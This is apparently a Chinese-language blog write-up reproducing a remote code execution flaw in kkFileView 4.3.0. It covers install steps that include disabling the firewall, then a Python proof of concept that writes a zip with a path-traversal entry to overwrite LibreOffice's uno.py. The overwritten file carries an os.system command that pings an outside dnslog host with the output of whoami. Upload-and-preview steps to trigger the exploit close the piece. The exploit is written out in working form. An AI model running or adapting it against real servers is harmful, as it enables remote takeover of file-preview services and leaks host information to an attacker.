准备好如下材料:
说明:LibreOffice_7_rpm.tar.gz是LibreOffice_7.5.3.2_Linux_x86-64_rpm.tar.gz重命名得到的。
将LibreOffice_7_rpm.tar.gz
放到/tmp/
下,然后到kkFileView-4.3.0.tar.gz所在目录下执行如下命令:
tar -zxvf kkFileView-4.3.0.tar.gz
cd kkFileView-4.3.0/bin
./startup.sh
systemctl stop firewalld.service
java -jar kkFileView-4.3.0.jar
然后进行访问,http://ip:8012,如下,
搭建参考:https://blog.csdn.net/m0_71578648/article/details/139120468
Poc,如下,
# poc.py
import zipfile
if __name__ == "__main__":
try:
binary1 = b'test'
binary2 = b'import os\r\nos.system(\'ping -c 3 `whoami`.6zyvo5.dnslog.cn\')'
zipFile = zipfile.ZipFile("poc.zip", "a", zipfile.ZIP_DEFLATED)
info = zipfile.ZipInfo("poc.zip")
zipFile.writestr("test", binary1)
zipFile.writestr("../../../../../../../../../../../../../../../../../../../opt/libreoffice7.5/program/uno.py", binary2)
zipFile.close()
except IOError as e:
raise e
需要注意的地方,如下,
../../../../../../../../../../../../../../../../../../../opt/libreoffice7.3/program/uno.py
../../../../../../../../../../../../../../../../../../../opt/libreoffice7.5/program/uno.py
视实际情况进行选择,否则复现失败!
因为我下载的是LibreOffice_7.5.3.2_Linux_x86-64_rpm.tar.gz,所以poc.py中就选了下面那个。
接下来,先生成poc.zip
,如下,
python poc.py
将会得到一个poc.zip
,再新建一个trigger.odt
,内容随意,然后先上传poc.zip
并进行预览,之后再上传trigger.odt,并进行预览,漏洞这时就被触发了,如下,
有个坑点,可能只是我的坑点,漏洞只能复现一次,如果想要再次复现,我就只有恢复快照到kkFileView-4.3.0刚搭建好时的状态。